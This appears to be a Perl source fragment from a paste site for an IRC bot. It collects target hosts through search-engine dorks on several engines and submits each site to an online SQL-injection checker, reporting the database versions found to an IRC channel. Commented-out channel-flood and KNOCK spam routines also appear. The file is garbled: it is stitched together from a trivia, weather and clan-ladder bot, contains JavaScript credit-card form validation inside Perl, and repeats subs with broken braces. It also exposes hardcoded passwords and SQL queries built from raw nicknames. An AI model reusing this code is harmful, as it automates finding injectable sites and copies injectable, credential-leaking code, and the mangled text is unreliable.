  2155.  
  2156. }
  2157.  
  2158.  
  2159.  
  2160. sub altavista()
  2161.  
  2162. {
  2163.  
  2164.     my $dork    = &urlencode($_[0]);
  2165.  
  2166.     my $html    = "";
  2167.  
  2168.     my @results = ();
  2169.  
  2170.     my @unique_links = ();
  2171.  
  2172.    
  2173.  
  2174.     for($i = 0; $i < 1000; $i += 10)
  2175.  
  2176.     {
  2177.  
  2178.         $html .= &http_request("http://www.altavista.com/web/results?itag=ody&kgs=0&kls=0&q=".$dork."&stq=".$i);
  2179.  
  2180.     }
  2181.  
  2182.    
  2183.  
  2184.     while($html =~ m/<span class=ngrn>(.+?) <\/span>/g)
  2185.  
  2186.     {
  2187.  
  2188.         my @tmp_link = &get_all_host($1);
  2189.  
  2190.         push(@results,@tmp_link);
  2191.  
  2192.     }
  2193.  
  2194.    
  2195.  
  2196.     @unique_links = &unique(@results);
  2197.  
  2198.  
  2199.  
  2200.     return(@unique_links);
  2201.  
  2202. }
  2203.  
  2204.  
  2205.  
  2206. sub yahoo()
  2207.  
  2208. {
  2209.  
  2210.     my $dork    = &urlencode($_[0]);
  2211.  
  2212.     my $html    = "";
  2213.  
  2214.     my @results = ();
  2215.  
  2216.     my @unique_links = ();
  2217.  
  2218.    
  2219.  
  2220.     for($i = 0; $i < 1000; $i += 100)
  2221.  
  2222.     {
  2223.  
  2224.         $html .= &http_request("http://search.yahooapis.com/WebSearchService/V1/webSearch?appid=SiteSearch&query=".$dork."&results=100&start=".$i);
  2225.  
  2226.     }
  2227.  
  2228.    
  2229.  
  2230.     while($html =~ m/<Url>http:\/\/(.+?)\<\/Url>/g)
  2231.  
  2232.     {
  2233.  
  2234.         my $link = $1;
  2235.  
  2236.         if($link !~ /yahoo/)
  2237.  
  2238.         {
  2239.  
  2240.             my @tmp_link = &get_all_host($link);
  2241.  
  2242.             push(@results,@tmp_link);
  2243.  
  2244.         }
  2245.  
  2246.     }
  2247.  
  2248.    
  2249.  
  2250.     @unique_links = &unique(@results);
  2251.  
  2252.  
  2253.  
  2254.     return(@unique_links);
  2255.  
  2256. }
  2257.  
  2258.  
  2259.  
  2260. sub msn()
  2261.  
  2262. {
  2263.  
  2264.     my $dork    = &urlencode($_[0]);
  2265.  
  2266.     my $html    = "";
  2267.  
  2268.     my @results = ();
  2269.  
  2270.     my @unique_links = ();
  2271.  
  2272.    
  2273.  
  2274.     for($i = 0; $i < 1000; $i += 10)
  2275.  
  2276.     {
  2277.  
  2278.         $html .= &http_request("http://www.bing.com/search?q=".$dork."&first=".$i."&FORM=PERE");
  2279.  
  2280.     }
  2281.  
  2282.    
  2283.  
  2284.     while($html =~ m/<a href=\"http:\/\/(.+?)\" onmousedown/g)
  2285.  
  2286.     {
  2287.  
  2288.         my @tmp_link = &get_all_host($1);
  2289.  
  2290.         push(@results,@tmp_link);
  2291.  
  2292.     }
  2293.  
  2294.    
  2295.  
  2296.     @unique_links = &unique(@results);
  2297.  
  2298.  
  2299.  
  2300.     return(@unique_links);
  2301.  
  2302. }
  2303.  
  2304.  
  2305.  
  2306. sub ask()
  2307.  
  2308. {
  2309.  
  2310.     my $dork    = &urlencode($_[0]);
  2311.  
  2312.     my $html    = "";
  2313.  
  2314.     my @results = ();
  2315.  
  2316.     my @unique_links = ();
  2317.  
  2318.    
  2319.  
  2320.     for($i = 0; $i < 9; $i += 1)
  2321.  
  2322.     {              
  2323.  
  2324.         $html .= &http_request("http://it.ask.com/web?q=".$dork."&o=312&l=dir&qsrc=0&dm=all&page=".$i);
  2325.  
  2326.     }
  2327.  
  2328.    
  2329.  
  2330.     while($html =~ m/class=\"L4\" href=\"(.+?)\" onmousedown/g)
  2331.  
  2332.     {
  2333.  
  2334.         my @tmp_link = &get_all_host($1);
  2335.  
  2336.         push(@results,@tmp_link);
  2337.  
  2338.     }
  2339.  
  2340.    
  2341.  
  2342.     @unique_links = &unique(@results);
  2343.  
  2344.  
  2345.  
  2346.     return(@unique_links);
  2347.  
  2348. }
  2349.  
  2350.  
  2351. sub msn()
  2352.  
  2353. {
  2354.  
  2355.     my $dork    = &urlencode($_[0]);
  2356.  
  2357.     my $html    = "";
  2358.  
  2359.     my @results = ();
  2360.  
  2361.     my @unique_links = ();
  2362.  
  2363.    
  2364.  
  2365.     for($i = 0; $i < 1000; $i += 10)
  2366.  
  2367.     {
  2368.  
  2369.         $html .= &http_request("http://www.bing.com/search?q=".$dork."&first=".$i."&FORM=PERE");
  2370.  
  2371.     }
  2372.  
  2373.    
  2374.  
  2375.     while($html =~ m/<a href=\"http:\/\/(.+?)\" onmousedown/g)
  2376.  
  2377.     {
  2378.  
  2379.         my @tmp_link = &get_all_host($1);
  2380.  
  2381.         push(@results,@tmp_link);
  2382.  
  2383.     }
  2384.  
  2385.    
  2386.  
  2387.     @unique_links = &unique(@results);
  2388.  
  2389.  
  2390.  
  2391.     return(@unique_links);
  2392.  
  2393. }
  2394.  
  2395.  
  2396.  
  2397. sub ask()
  2398.  
  2399. {
  2400.  
  2401.     my $dork    = &urlencode($_[0]);
  2402.  
  2403.     my $html    = "";
  2404.  
  2405.     my @results = ();
  2406.  
  2407.     my @unique_links = ();
  2408.  
  2409.    
  2410.  
  2411.     for($i = 0; $i < 9; $i += 1)
  2412.  
  2413.     {              
  2414.  
  2415.         $html .= &http_request("http://it.ask.com/web?q=".$dork."&o=312&l=dir&qsrc=0&dm=all&page=".$i);
  2416.  
  2417.     }
  2418.  
  2419.    
  2420.  
  2421.     while($html =~ m/class=\"L4\" href=\"(.+?)\" onmousedown/g)
  2422.  
  2423.     {
  2424.  
  2425.         my @tmp_link = &get_all_host($1);
  2426.  
  2427.         push(@results,@tmp_link);
  2428.  
  2429.     }
  2430.  
  2431.    
  2432.  
  2433.     @unique_links = &unique(@results);
  2434.  
  2435.  
  2436.  
  2437.     return(@unique_links);
  2438.  
  2439. }
  2440.  
  2441.  
  2442. sub default {
  2443.  
  2444.        # This is helpful to see what an event returns.  Data::Dumper will
  2445.        # recursively reveal the structure of any value
  2446.        my ($conn, $event) = @_;
  2447.        #print Dumper($event);
  2448. }
  2449.        
  2450. # experiment with the cping event, printing out to standard output
  2451. #$conn->add_handler('cping', \&default);
  2452.  
  2453. #conn-$gt;mode('#linux', '+o', 'tux');
  2454. sub db_connect {
  2455.  
  2456.     my $obj = shift;
  2457.  
  2458.     # check if db is up
  2459.     if ($obj->{dbh}) {
  2460.         if ($obj->{dbh}->ping()) {
  2461.             return;
  2462.         }  
  2463.     }
  2464.    
  2465.     my $db = $obj->{db} || 'trivia';
  2466.     my $hosting = $obj->{host} || 'localhost';
  2467.     my $user = $obj->{user} || 'triviabot';
  2468.     my $password = $obj->{password} || 'super902soaker';
  2469.  
  2470.     my $dbh = DBI->connect("DBI:mysql:$db:$hosting", $user, $password);  
  2471.    
  2472.     if (!$dbh) {
  2473.         die("Can't connect to $db with $user $password");
  2474.     }  
  2475.  
  2476.     $obj->{dbh} = $dbh;
  2477. }
  2478.  
  2479. sub db_disconnect {
  2480.  
  2481.     my $obj = shift;
  2482.     $obj->{dbh}->disconnect();
  2483.  
  2484. }
  2485.  
  2486. sub min {
  2487.    
  2488.     my ($a, $b) = @_;
  2489.    
  2490.     if ($a < $b) { return $a; }
  2491.     else { return $b;}
  2492.  
  2493. }  
  2494.  
  2495. sub on_notice {
  2496.  
  2497.     my ($conn, $event) = @_;
  2498.  
  2499.     # This handles nick registration.  On some IRC networks, you can
  2500.     # password-protect you nick.  The IRC server will send you a "notice"
  2501.     # as NickServ that you have to identify with your passowrd.
  2502.     if (
  2503.     ($event->{nick} eq 'NickServ') and
  2504.     ($event->{args}[0] eq 'If you do not change within one minute, I will change your nick.')
  2505.     ) {
  2506.         # send an /msg to NickServ with the password
  2507.         $conn->privmsg('NickServ', 'identify rokerman');
  2508.        
  2509.         # This is another hack, based on the fact that I've registered
  2510.         # the nick "RokerBot" on the IRC server which doesn't
  2511.         # send the end of MOTD message.  So when I'm asked to
  2512.         # send my password, I know I've connected.
  2513.         #
  2514.         # This is redundant with the behavior covered in on_msg
  2515.         on_connect($conn);
  2516.     }
  2517. }
  2518.  
  2519. sub weather {
  2520.  
  2521.     my $input = shift;
  2522.     my $nick = shift;
  2523.    
  2524.     # Split the text sent on a comma and space, eg "New York, NY"
  2525.     my ($city, $state) = split(', ', $input);
  2526.    
  2527.     # Get weather information from the weather object
  2528.     if ($weather->get_weather($city, $state)) {
  2529.         # If we get true from this, then we've failed and will
  2530.         # return an error message
  2531.         return "Unable to retrieve weather.  Sorry, $nick.";
  2532.     }  
  2533.    
  2534.     # otherwise, we get a hash of today's forecast and an array
  2535.     # of future days forecasts.
  2536.    
  2537.     my %wh = %{$weather->{main}};
  2538.     my @dh = @{$weather->{forecast}};
  2539.    
  2540.     # format today's forecast
  2541.     my $text = qq/$nick, it's $wh{Temperature} in $city, $state right now.  Wind is $wh{Wind}.  Humidity is $wh{Humidity}.  Roker would say it's $wh{Conditions}.  /;
  2542.     # give the next two days' forecasts
  2543.     foreach (0..1) {
  2544.         $text .= $dh[$_];
  2545.     }  
  2546.    
  2547.     return $text;
  2548. }
  2549.  
  2550. # ------------------------------------
  2551. # Chec to see if a user is registered
  2552. # ------------------------------------
  2553.  
  2554. sub is_registered {
  2555.         my $nick = shift;
  2556.         my $dbh = get_dbh();
  2557.         my $sth = $dbh->prepare("SELECT id FROM users WHERE username='$nick'");
  2558.         $sth->execute();
  2559.         my $rows = $sth->rows;
  2560.  
  2561.         if($rows == 0) {
  2562.                 return 0;
  2563.         } else {
  2564.                 return 1;
  2565.         }
  2566. }
  2567.    
  2568. sub map_results {
  2569.         my $cid = shift;
  2570.         my $channel = shift;
  2571.         my $dbh = get_dbh();
  2572.         my $c = $dbh->selectrow_hashref("SELECT clanid, ladderid FROM setup WHERE channel=?", undef, $channel);
  2573.         my $clan = HTML::TagParser->new("http://clanbase.ggl.com/claninfo.php?wars=1&cid=$cid&lid=$c->{ladderid}");
  2574.         my @list = $clan->getElementsByClassName("valuecell");
  2575.         push(@list, $clan->getElementsByClassName("valuecell2"));
  2576.         my(@maps, @res);
  2577.  
  2578.         for(@list) {
  2579.                 if($_->innerText =~ /\w+\s\/\s\w+/) {
  2580.                         my($m1, $m2) = split(/\//, $_->innerText);
  2581.                         push(@maps, $m1);
  2582.                         push(@maps, $m2);
  2583.                 }
  2584.                 if($_->innerText =~ /(((-|\+)\s\d+|waiting\.\.\.|none))/) {
  2585.                         if($_->innerText =~ /none/) {
  2586.                                 push(@res, "+ 1");
  2587.                                 push(@res, "+ 1");
  2588.                         } else {
  2589.                                 push(@res, $_->innerText);
  2590.                                 push(@res, $_->innerText);
  2591.                         }
  2592.                 }
  2593.         }
  2594.  
  2595.         my %mapres;
  2596.         my $i = 0;
  2597.         foreach my $map (@maps) {
  2598.                 $map =~ s/\s//;
  2599.                 if($res[$i] =~ /\+/) {
  2600.                         $mapres{$map}{"wins"}++;
  2601.                 } else {
  2602.                         $mapres{$map}{"loss"}++;
  2603.                 }
  2604.                 $i++;
  2605.         }
  2606.  
  2607.         my %finalres;
  2608.         for my $key (keys %mapres) {
  2609.                 if(!defined($mapres{$key}{"loss"})) { $mapres{$key}{"loss"} = 0; }
  2610.                 if(!defined($mapres{$key}{"wins"})) { $mapres{$key}{"wins"} = 0; }      
  2611.                 $finalres{$key} = ($mapres{$key}{"wins"} / (1 + $mapres{$key}{"loss"}));
  2612.         }
  2613.  
  2614.         return %finalres;
  2615. }
  2616.  
  2617. sub map_results {
  2618.         my $cid = shift;
  2619.         my $channel = shift;
  2620.         my $dbh = get_dbh();
  2621.         my $c = $dbh->selectrow_hashref("SELECT clanid, ladderid FROM setup WHERE channel=?", undef, $channel);
  2622.         my $clan = HTML::TagParser->new("http://clanbase.ggl.com/claninfo.php?wars=1&cid=$cid&lid=$c->{ladderid}");
  2623.         my @list = $clan->getElementsByClassName("valuecell");
  2624.         push(@list, $clan->getElementsByClassName("valuecell2"));
  2625.         my(@maps, @res);
  2626.  
  2627.         for(@list) {
  2628.                 if($_->innerText =~ /\w+\s\/\s\w+/) {
  2629.                         my($m1, $m2) = split(/\//, $_->innerText);
  2630.                         push(@maps, $m1);
  2631.                         push(@maps, $m2);
  2632.                 }
  2633.                 if($_->innerText =~ /(((-|\+)\s\d+|waiting\.\.\.|none))/) {
  2634.                         if($_->innerText =~ /none/) {
  2635.                                 push(@res, "+ 1");
  2636.                                 push(@res, "+ 1");
  2637.                         } else {
  2638.                                 push(@res, $_->innerText);
  2639.                                 push(@res, $_->innerText);
  2640.                         }
  2641.                 }
  2642.         }
  2643.  
  2644.         my %mapres;
  2645.         my $i = 0;
  2646.         foreach my $map (@maps) {
  2647.                 $map =~ s/\s//;
  2648.                 if($res[$i] =~ /\+/) {
  2649.                         $mapres{$map}{"wins"}++;
  2650.                 } else {
  2651.                         $mapres{$map}{"loss"}++;
  2652.                 }
  2653.                 $i++;
  2654.         }
  2655.  
  2656.         my %finalres;
  2657.         for my $key (keys %mapres) {
  2658.                 if(!defined($mapres{$key}{"loss"})) { $mapres{$key}{"loss"} = 0; }
  2659.                 if(!defined($mapres{$key}{"wins"})) { $mapres{$key}{"wins"} = 0; }      
  2660.                 $finalres{$key} = ($mapres{$key}{"wins"} / (1 + $mapres{$key}{"loss"}));
  2661.         }
  2662.  
  2663.         return %finalres;
  2664. }
  2665.  
  2666.  
  2667.     sub avgrank_clans {
  2668.         my @pids = @_;
  2669.         my (@hids, @cids, @ranks);
  2670.         my $dbh = get_dbh();
  2671.  
  2672.         foreach my $pid (@pids) {
  2673.                 my $memberpage = get("http://clanbase.ggl.com/personinfo.php?pid=$pid");
  2674.                 if($memberpage =~ /hid=(\d+)/) {
  2675.                         push(@hids, $1);
  2676.                 }
  2677.         }
  2678.  
  2679.         foreach my $hid (@hids) {
  2680.                 my $humanpage = get("http://clanbase.ggl.com/humaninfo.php?hid=$hid");
  2681.                 my @clans = $humanpage =~ /cid=(\d+)/g;
  2682.                 push(@cids, @clans);
  2683.         }
  2684.  
  2685.         my %seen = ();
  2686.         my @uniqcids = grep { !$seen{$_}++ } @cids;
  2687.  
  2688.         #print join("\n", @uniqcids);
  2689.  
  2690.         foreach my $cid (@uniqcids) {
  2691.                 #my $rank = clan_rank($cid, $channel);
  2692.                 #push(@ranks, $rank);
  2693.         }
  2694.  
  2695.         #print join("\n", @ranks);
  2696. }
  2697.  
  2698. # --------------------
  2699. # Get channel by nick
  2700. # --------------------
  2701.  
  2702. sub get_channel {
  2703.         my $nick = shift;
  2704.         my $dbh = get_dbh();
  2705.         my $sth = $dbh->prepare("SELECT channel FROM users WHERE username='$nick'");
  2706.         $sth->execute();
  2707.         my $res = $sth->fetchrow_hashref();
  2708.  
  2709.         return $res->{channel};
  2710. }
  2711.  
  2712. sub cb_link { return "http://clanbase.ggl.com/claninfo.php?wars=1&cid=$config{clanid}&lid=$config{ladderid}";  }
  2713. sub connect { return "connect $config{matchserver}; password $config{matchserverpwd}";  }
  2714.  
  2715. sub help {
  2716.         my @return = ("[List of triggers and usage]", "!rank: Current ranking", "!last: Latest match result",
  2717.         "!online: Players online on $config{matchserver}", "!ts: Players online on teamspeak",
  2718.         "!judge <clanid>: Check to see of the clan is worth playing", "!challenge <clanid> <players> <map> <server>: Challenge clan",
  2719.         "!quote: Show random quote from the codstats database", "!8: The Magic 8-Ball", "!connect: Connect link", "!link: Clanbase link");
  2720.  
  2721.         return @return;
  2722. }
  2723.  
  2724.  
  2725.  
  2726. sub charge
  2727. {
  2728. $tchan = $_[0];
  2729. $oldfh = select($irc_socket);
  2730. print "JOIN $tchan\r\n" if $tchan =~ /#/;
  2731. #print "NICK ", getnick(8), "\r\n";
  2732. #print "PRIVMSG $tchan :OLOLOOLOLOOLOLOOLOLOOLOLOOLOLOOLOLOOLOLOOLOLOLOLO OLOLOOLOLOOLOLOOLOLOOLOLOOLOLOOLOLOOLOLOOLOLOOLOLO OLOLOOLOLOOLOLOOLOLOOLOLOOLOLOOLOLOOLOLOOLOLO\r\n";
  2733. #print "PRIVMSG $tchan :OLOLOEROLOLOEROLOLOEROLOLOEROLOLOLOLOOLOLOOLOLOOL OLOOLOLOOLOLOOLOLOOLOLOOLOLOEROLOLOEROLOLOEROLOLOE ROLOLOEROLOLOEROLOLOEROLOLOEROLOLOEROLOLOEROLOLOER \r\n";
  2734. #print "PRIVMSG $tchan :OLOLOOLOLOOLOLOOLOLOOLOLOOLOLOOLOOLOLOOLOLOOLOLOO LOLOOLOLOOLOLOOLOLOOLOLOOLOLLOOLOLOOLOLOOLOLOOLOLO OLOLOOLOLOOLOLOOLOLOOLOLOOLOLOOLOLOOLOLOOLOLO\r\n";
  2735. #print "PART $tchan\r\n" if $tchan =~ /#/;
  2736. #print "JOIN $tchan\r\n" if $tchan =~ /#/;
  2737. #print "PRIVMSG $tchan :OLOLOOLOLOOLOLOOLOLOOLOLOOLOLOOLOLOLOLOOLOLOOLOLO OLOLOOLOLOOLOLOOLOLOOLOLOOLOLOOLOLOOLOLOOLOLOOLOLO OLOLOOLOLOOLOLOOLOLOOLOLOOLOLOOLOLOOLOLOOLOLO\r\n";
  2738. #print "PRIVMSG $tchan :OLOLOEROLOLOEROLOLOEROLOLOEROLOLOEROLOLOOLOLOOLOL OOLOLOOLOLOOLOLOOLOLOOLOLOOLOLOLOLOEROLOLOEROLOLOE ROLOLOEROLOLOEROLOLOEROLOLOEROLOLOEROLOLOEROLOLOER \r\n";
  2739. #print "PRIVMSG $tchan :OLOLOOLOLOOLOLOOLOLOOLOLOOLOLOOLOLOOLOLOOLOLOOLOL OOLOLOOLOLOOLOLOOLOLOOLOLOOLOLOLOLOOLOLOOLOLOOLOLO OLOLOOLOLOOLOLOOLOLOOLOLOOLOLOOLOLOOLOLOOLOLO\r\n";
  2740. #print "PART $tchan\r\n" if $tchan =~ /#/;
  2741. select($oldfh);
  2742. return 1;
  2743. }
  2744.  
  2745. sub knock
  2746. {
  2747. $oldfh = select($irc_socket);
  2748. #print "KNOCK $_[0]\r\n";
  2749. #print "KNOCK $_[0]\r\n";
  2750. #print "KNOCK $_[0]\r\n";
  2751. select($oldfh);
  2752. }
  2753. sub say
  2754. {
  2755. $oldfh = select($irc_socket);
  2756. #print "PRIVMSG $_[0] :$_[1]\r\n";
  2757. select($oldfh);
  2758. }
  2759. sub irc_connect
  2760. {
  2761. $cycle = 1;
  2762. while(true)
  2763. {
  2764. #print "\r".'Awaiting connection... ['.$cycle++.']';
  2765. $irc_socket = new IO::Socket::INET
  2766. (
  2767. 'LocalAddr' => $cfg{LOCAL_ADDR},
  2768. 'PeerAddr' => $cfg{SERVER},
  2769. 'PeerPort' => $cfg{PORT},
  2770. 'Proto' => 'tcp',
  2771. 'Timeout' => 10
  2772. );
  2773. last if defined $irc_socket;
  2774. }
  2775. $irc_socket->autoflush(1);
  2776.  
  2777. #print $irc_socket "NICK ", $cfg{NICK}, "\r\n";
  2778. #print $irc_socket "USER ", $cfg{IDENT}, " ", $irc_socket->sockhost, " ", $cfg{SERVER}, " :", $cfg{NAME}, "\r\n";
  2779.  
  2780. while (<$irc_socket>)
  2781. {
  2782. #print $_;
  2783. if($_ =~ /433/)
  2784. {
  2785. $cfg{NICK} = getnick(8);
  2786. #print $irc_socket "NICK ", $cfg{NICK}, "\r\n";
  2787. next;
  2788. }
  2789. elsif($_ =~ /^PING\s\:([^\r]+)/)
  2790. {
  2791. #print $irc_socket "PONG $1\r\n";
  2792. #print "ping-ponged..\n";
  2793. last;
  2794. }
  2795. elsif($_ =~ /^\:.+?\s001\s([^\s\#]+)\s\:/)
  2796. {
  2797. last;
  2798. }
  2799. }
  2800. #print $irc_socket "USER ", $cfg{IDENT}, " ", $irc_socket->sockhost, " ", $cfg{SERVER}, " :", $cfg{NAME}, "\r\n";
  2801.  
  2802. if($cfg{UMODE2_x} == 1)
  2803. {
  2804. #print $irc_socket "UMODE2 +x\r\n";
  2805. }else{
  2806. #print $irc_socket "UMODE2 -x\r\n";
  2807. }
  2808. #print $irc_socket "PART #hackzona\r\n";
  2809. #print $irc_socket "JOIN $ajoin\r\n";
  2810.  
  2811. }
  2812.  
  2813. sub getnick
  2814. {
  2815. my $Nres;
  2816. while (length $Nres != $_[0])
  2817. {
  2818. foreach my $Nrand (a..z)
  2819. {
  2820. if(int rand 20 == 5)
  2821. {
  2822. $Nres .= $Nrand;
  2823. last;
  2824. }
  2825. }
  2826. }
  2827. return $Nres;
  2828. }
  2829.  
  2830.  
  2831.  
  2832.  
  2833.  
  2834. sub webcrawler()
  2835.  
  2836. {
  2837.  
  2838.     my $dork    = &urlencode($_[0]);
  2839.  
  2840.     my $html    = "";
  2841.  
  2842.     my @results = ();
  2843.  
  2844.     my @unique_links = ();
  2845.  
  2846.    
  2847.  
  2848.     for($i = 0; $i < 100; $i += 10)
  2849.  
  2850.     {              
  2851.  
  2852.         $html .= &http_request("http://www.webcrawler.com/webcrawler/ws/results/Web/".$dork."/3/0/0/Relevance/zoom=off/qi=".$i."/qk=20/bepersistence=true/_iceUrlFlag=7?_IceUrl=true");
  2853.  
  2854.     }
  2855.  
  2856.    
  2857.  
  2858.     while($html =~ m/target=\"_blank\">(.+?)<\/a>/g)
  2859.  
  2860.     {
  2861.  
  2862.         my @tmp_link = &get_all_host($1);
  2863.  
  2864.         push(@results,@tmp_link);
  2865.  
  2866.     }
  2867.  
  2868.    
  2869.  
  2870.     @unique_links = &unique(@results);
  2871.  
  2872.  
  2873.  
  2874.     return(@unique_links);
  2875.  
  2876. }
  2877.  
  2878. sub frmvalidator
  2879. {
  2880.    
  2881.   var frmvalidator  = new Validator("form");
  2882.  
  2883.   frmvalidator.EnableMsgsTogether();
  2884.  
  2885.   frmvalidator.addValidation("charge_total","req","Please enter donation amount");
  2886.  
  2887.   frmvalidator.addValidation("bill_first_name","req","Please enter your First Name");
  2888.  
  2889.   frmvalidator.addValidation("bill_last_name","req","Please enter your Last Name");
  2890.  
  2891.   frmvalidator.addValidation("bill_address_one","req","Please enter your street address");
  2892.  
  2893.   frmvalidator.addValidation("bill_city","req","Please enter your city");
  2894.  
  2895.   frmvalidator.addValidation("bill_state_or_province","req","Please enter your Province/ State");
  2896.  
  2897.   frmvalidator.addValidation("bill_postal_code","req","Please enter your Postal/ Zip Code");
  2898.  
  2899.   frmvalidator.addValidation("bill_country","req","Please enter your country of residence");
  2900.  
  2901.   frmvalidator.addValidation("email","maxlen=50");
  2902.   frmvalidator.addValidation("email","req");
  2903.   frmvalidator.addValidation("email","email");
  2904.   frmvalidator.addValidation("pass","req");
  2905.  
  2906.   frmvalidator.addValidation("bill_phone","req","Please enter your Phone Number");
  2907.   frmvalidator.addValidation("bill_phone","maxlen=18");
  2908.  
  2909.  
  2910.   frmvalidator.addValidation("cardholder","req","Please enter cardholder name");
  2911.   frmvalidator.addValidation("cc_num","req","Please enter credit card number");
  2912.  
  2913. }
  2914.  
  2915. sub racchiudi
  2916.  
  2917. {
  2918.  
  2919. chomp($website);
  2920.  
  2921. chop($website);
  2922.  
  2923. my $website = shift;
  2924.  
  2925. my $agent = WWW::Mechanize->new( autocheck => 1 );
  2926.  
  2927. my $formfiller = WWW::Mechanize::FormFiller->new();
  2928.  
  2929. $agent->env_proxy();
  2930.  
  2931.  
  2932.  
  2933.   $agent->get("http://nubiescript.com/demo/sqlinject/?mysql=1&vuln=1&link=$website");
  2934.  
  2935.    $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  2936.  
  2937.   $agent->submit();
  2938.  
  2939. #print "ecco: $website--\n";
  2940.  
  2941. if ($agent->content() =~/Version\: \<font color\=red\>(.*?)<\/font>/) {
  2942.  
  2943.                 &respond_to_privmsg(\%msg,"15[7SERViCES15]12 Version: ".$1."  ");
  2944.  
  2945. #print "versione ".$1." ";
  2946.  
  2947. }else{
  2948.  
  2949. $irc_socket->write("PRIVMSG ".$chans[1].": Impossibile cliccare su $website \r\n");
  2950.  
  2951. }
  2952. }      
  2953.        
  2954. sub write_to_file()
  2955. {
  2956.     my($file,$data) = @_;
  2957.     open(FILE,'>>',$file);
  2958.     #print FILE $data . "\n";
  2959.     close(FILE);
  2960.  
  2961. {  
  2962. my @us_ag = (   "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1", "Opera/8.5 (X11; Linux i686; U; cs)",   "Links (2.1pre17; Linux 2.6.11-gentoo-r8 i686; 80x24)"  );  return(@us_ag);}sub get_all_host(){ my $site =  $_[0]; 
  2963. my @dirs =  ();
  2964. my @ret  =  ();
  2965. my $tmp  =  "";
  2966. $site    =~ s/http:\/\///g;
  2967. $site    =~ s/[\r\n]//g;   
  2968. $site    =~ s/\/\///g; 
  2969. if($site !~ /\/$/)  {       $site .= "/";   }  
  2970. @dirs = split(/\//,$site);  $tmp = $dirs[0] . "/";  push(@ret,$tmp);        for($i = 1; $i < scalar(@dirs); $i++)   {       $tmp .= $dirs[$i] . "/";        push(@ret,$tmp);    }       return(@ret);}
  2971. }
  2972.  
  2973. sub read_all_file_array()
  2974. {
  2975. my $file = $_[0];   my @ret  = ();  open(FILE,'<',$file);   while($a = <FILE>)  {       $a =~ s/[\r\n]//g;      push(@ret,$a);  }   close(FILE);        return(@ret);}
  2976.  
  2977. sub write_to_file_array(){
  2978.     my ($file,$data,$scal) = @_;    for($i = 0; $i < $scal; $i++)   {       &write_to_file($file,$data->[$i]);  }
  2979.         }
  2980.    
  2981.     }
  2982.     #####################################################################################
  2983. sub changecmd()
  2984. {
  2985.         my $n = $_[0];
  2986.         push(@botcmd,$n);
  2987. }
  2988. #####################################################################################
  2989. sub get_content() {
  2990.     my $url = $_[0];
  2991.     my $ua = LWP::UserAgent->new(agent => $uagent);
  2992.     $ua->timeout(10);
  2993.     my $req = HTTP::Request->new(GET => $url);
  2994.     my $res = $ua->request($req);
  2995.     return $res->content;
  2996. }
  2997. #####################################################################################
  2998. sub read_all_file_array()
  2999. {
  3000.         my $file = $_[0];
  3001.         my @ret  = ();
  3002.  
  3003.         open(FILE,'<',$file);
  3004.         while($a = <FILE>)
  3005.         {
  3006.                 $a =~ s/[\r\n]//g;
  3007.                 push(@ret,$a);
  3008.         }
  3009.         close(FILE);
  3010.        
  3011.         return(@ret);
  3012. }
  3013. #####################################################################################
  3014. sub write_to_file_array()
  3015. {
  3016.         my ($file,$data,$scal) = @_;
  3017.         for($i = 0; $i < $scal; $i++)
  3018.         {
  3019.                 &AddLog($file,$data->[$i]);
  3020.         }
  3021. }
  3022. #####################################################################################
  3023. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement